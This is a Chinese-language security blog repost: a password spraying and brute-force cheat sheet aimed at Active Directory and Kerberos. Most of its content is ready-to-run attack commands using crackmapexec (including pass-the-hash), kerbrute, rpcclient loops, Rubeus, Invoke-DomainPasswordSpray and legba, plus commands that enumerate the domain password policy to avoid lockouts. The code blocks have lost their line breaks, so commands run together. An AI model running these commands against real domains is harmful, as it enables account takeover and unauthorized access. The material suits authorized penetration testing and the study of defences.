密码喷洒/暴力破解

admin 2024年8月15日22:35:44评论27 views字数 2526阅读8分25秒阅读模式
 

密码喷洒

找到几个有效的用户名后,您可以对每个发现的用户尝试最常用的密码(请记住环境的密码策略)。默认情况下,最小 密码 长度为7。

常见用户名列表也可能有用:https://github.com/insidetrust/statistically-likely-usernames

请注意,如果您尝试多次错误密码(默认情况下超过 10 次),您可能会锁定某些帐户。

获取密码策略

如果您具有某些用户凭据或作为域用户的 shell,则可以使用以下命令获取密码策略:

# From Linuxcrackmapexec <IP> -u 'user' -p 'password' --pass-polenum4linux -u 'username' -p 'password' -P <IP>rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfoldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength# From Windowsnet accounts(Get-DomainPolicy)."SystemAccess" #From powerview

从 Linux 进行攻击(或全部攻击)

使用crackmapexec

crackmapexec smb <IP> -u users.txt -p passwords.txt# Local Auth Spray (once you found some local admin pass or hash)## --local-auth flag indicate to only try 1 time per machinecrackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123# Brute-Force./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • 喷洒 (您可以指定尝试次数以避免锁定):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • 使用kerbrute (python) - 不推荐,有时不起作用
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txtpython kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • 使用Metasploitscanner/smb/smb_login的模块:

密码喷洒/暴力破解

  • 使用rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/for u in $(cat users.txt); do     rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;done

从 Windows

  • 使用带有暴力模块的Rubeus版本:
# with a list of users.Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file># check passwords for all users in current domain.Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • 使用Invoke-DomainPasswordSpray(它可以默认从域生成用户,并从域获取密码策略并根据该策略限制尝试次数):
Invoke-DomainPasswordSpray -UserList .users.txt -Password 123456 -Verbose

使用Invoke-SprayEmptyPassword.ps1

Invoke-SprayEmptyPassword

暴力破解

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

参考

https://ired.team/offective-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying

https://www.ired.team/offective-security/initial-access/password-spraying-outlook-web-access-remote-shell

www.blackhillsinfosec.com/?p=5296

https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying

原文始发于微信公众号(Ots安全):密码喷洒/暴力破解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月15日22:35:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   密码喷洒/暴力破解https://cn-sec.com/archives/3069302.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息